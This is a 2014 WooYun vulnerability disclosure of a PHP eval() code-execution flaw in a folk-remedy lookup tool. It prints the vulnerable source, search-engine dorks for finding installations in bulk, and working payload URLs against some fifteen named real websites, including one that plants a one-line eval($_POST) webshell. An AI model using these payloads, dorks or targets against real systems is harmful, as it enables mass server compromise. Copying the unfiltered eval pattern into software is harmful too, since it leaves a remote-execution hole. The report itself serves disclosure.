当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053193

漏洞标题:某生活查询工具代码执行#可批量Getshell(四)

相关厂商:Cncert国家互联网应急中心

漏洞作者: U神

提交时间:2014-03-10 11:05

修复时间:2014-06-08 11:07

公开时间:2014-06-08 11:07

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-10: 细节已通知厂商并且等待厂商处理中
2014-03-11: 厂商已经确认,细节仅向厂商公开
2014-03-14: 细节向第三方安全合作伙伴开放
2014-05-05: 细节向核心白帽子及相关领域专家公开
2014-05-15: 细节向普通白帽子公开
2014-05-25: 细节向实习白帽子公开
2014-06-08: 细节向公众公开

简要描述:

某生活查询工具代码执行#可批量Getshell(四)

详细说明:

#1.第四集【验方篇】代码执行,首先我们来看看部分源代码:

<?php
set_time_limit(0);
$prescription = trim($_GET['q']);
$id = intval($_GET['id']);
$r_num = 0; //结果个数
$lan = 3;
$pf = "";
$pf_l = "";
if($prescription!=""){
$dreamdb=file("data/yf.dat");//读取验方文件
$count=count($dreamdb);//计算行数
for($i=0; $i<$count; $i++) {
$keyword=explode(" ",$prescription);//拆分关键字
$dreamcount=count($keyword);//关键字个数
$detail=explode("\t",$dreamdb[$i]);
for ($ai=0; $ai<$dreamcount; $ai++) {
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[0]\");");//这里使用了eval函数并且没有做任何过滤导致代码执行
if(($found)){
if(fmod($r_num,$lan)==0) $pf_l .= "<tr>";
$pf_l .= '<td width="'.(100/$lan).'%"><img src="/img/jiantou.gif" /> <a href="?id='.($i+1).'">'.$detail[0].'</a></td>';
if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>";
$r_num++;
break;
}
}
}
$pf_l = '<table width="700" cellpadding="2" class="mob_ace" cellspacing="0" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b><a href="./">民间验方</a>:找到 <a href="./?q='.urlencode($prescription).'"><font color="#c60a00">'.$prescription.'</font></a> 的相关验方'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';
}elseif($id>0){
$dreamdb=file("data/yf.dat");//读取验方文件
$count=count($dreamdb);//计算行数
$detail=explode("\t",$dreamdb[$id-1]);
$pf = '<table width="700" cellpadding=2 cellspacing=0 class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle"><b><a href="./">民间验方</a> / '.$detail[0].'</b></td><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" align="right">';
if($id>1 && $id<=$count) $pf .= '<a href="?id='.($id-1).'">上一个</a> ';
$pf .= '<a href="./">查看全部</a>';
if($id>=1 && $id<$count) $pf .= ' <a href="?id='.($id+1).'">下一个</a>';
$pf .= '</td></tr><tr><td align="center" colspan="2"><h3>'.$detail[0].'</h3></td></tr><tr><td style="padding:5px;line-height:21px;" colspan="2"><p>'.$detail[1].'</p><center><b><font color=#F77824>查询吧</font></b><font color=#5AA2EE>提醒您:</font><font color=#FF0000>此民间验方来源于网络,使用前请遵医嘱。</font></center></td></tr></table>';
}else{
$dreamdb=file("data/yf.dat");//读取验方文件
$count=count($dreamdb);//计算行数
$pfl = rand(0,intval($count/60));
for($i=$pfl*60; $i<$pfl*60+60; $i++) {
if($i>=$count-1) break;
$detail=explode("\t",$dreamdb[$i]);
if(fmod($r_num,$lan)==0) $pf_l .= "<tr>";
$pf_l .= '<td width="'.(100/$lan).'%"><img src="/img/jiantou.gif" /> <a href="?id='.($i+1).'">'.$detail[0].'</a></td>';
if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>";
$r_num++;
}
$pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b>推荐民间验方'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<?
if($prescription){
echo "<title>".$prescription." - 民间验方大全 - 生活查询 - - IP地址查询|手机号码归属地查询|身份证|电话号码查询|黄历|万年历|区号|各种查询|- 查询吧</title>";
echo '<meta name="keywords" content="'.$prescription.',中草药,验方,中药,民间验方大全" />';
}elseif($id>0 && $id<=$count){
echo "<title>".$detail[0]." - 民间验方大全 - 生活查询 - - IP地址查询|手机号码归属地查询|身份证|电话号码查询|黄历|万年历|区号|各种查询|- 查询吧</title>";
echo '<meta name="keywords" content="查询吧,周公解梦,列车时刻表,手机号码归属地,邮编,黄道吉日,号码吉凶,IP地址,工具大全,实用查询网站,不懂查询吧,'.$detail[0].',中草药,验方,中药,民间验方大全" />';
echo '<meta name="description" content="查询吧,周公解梦,列车时刻表,手机号码归属地,邮编,黄道吉日,号码吉凶,IP地址,工具大全,实用查询网站,不懂查询吧,'.trim(str_replace("<br>","",$detail[1]),"  ").'民间验方大全。" />';
}else{
echo "<title>民间验方大全 - 生活查询 - - IP地址查询|手机号码归属地查询|身份证|电话号码查询|黄历|万年历|区号|各种查询|- 查询吧</title>";
echo '<meta name="keywords" content="查询吧,周公解梦,列车时刻表,手机号码归属地,邮编,黄道吉日,号码吉凶,IP地址,工具大全,实用查询网站,不懂查询吧,民间验方,验方大全" />';
echo '<meta name="description" content="民间验方大全chaxun8.net,中草药,是中医所使用的独特药物,也是中医区别于其他医学的重要标志。中国人民对中草药的探索经历了几千年的历史。相传,神农尝百草,首创医药,神农被尊为“药皇”。中药主要由植物药(根、茎、叶、果)、动物药(内脏、皮、骨、器官等)和矿物药组成。因植物药占中药的大多数,所以中药也称中草药。" />';
}
?>

漏洞证明:

#2.这是一个民间验方的查询页面,只要我们穿梭在各种搜索引擎上面,构造各种关键字。即可批量getshell。关键字如下:
inurl:yanfang/index.php
intitle:查询 输入最短的关键字,如坐骨神经痛,输入神经后按Enter即可
输入最短的关键字,如坐骨神经痛,输入神经后按Enter即可
等等,关键字构造的好,批量的网站多。

07.jpg


#3.代码执行证明如下:
http://www.5678916.com/bm/yanfang/?q={${phpinfo()}} 执行了phpinfo

08.jpg


直接构造一句话地址:http://www.5678916.com/bm/yanfang/?q={${eval%28$_POST[u]%29}}

09.jpg


更多如下:
http://www.hai234.com/tools/life/yanfang/?q={${phpinfo()}}
http://www.jybhy.com/bbx/yanfang/index.php?q={${phpinfo()}}
http://www.huarenkids.com/tools/yanfang/index.php?q={${phpinfo()}}
http://1aa.cn/yanfang/?q={${phpinfo()}}
http://tool.yowao.com/yanfang/?q={${phpinfo()}}
http://www.ezunhua.com/chaxun/yanfang/?q={${phpinfo()}}
http://www.dgssh.com/bbx/yanfang/?q={${phpinfo()}}
http://www.shaoyangle.com/baixing/yanfang/?q={${phpinfo()}}
http://www.zongyangxian.com/chaxun/yanfang/?q={${phpinfo()}}
http://www.ktvquan.com/BBX/yanfang/?q={${phpinfo()}}
http://www.0798.org/tools/yanfang/?q={${phpinfo()}}
http://www.0559bm.com/tools/yanfang/?q={${phpinfo()}}
http://www.ycmm.com/bbx/yanfang/?q={${phpinfo()}}
http://www.yc36.com/tools/life/yanfang/?q={${phpinfo()}}
等等.....

修复方案:

版权声明:转载请注明来源 U神@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-03-11 10:09

厂商回复:

CNVD确认漏洞机理分析情况以及案例情况,但未能确认软件生产厂商。先行确认,待后续由第三方安全厂商协助提供防护。目前这几个工具代码同源情况较为明显,rank 值递减吧。

最新状态:

暂无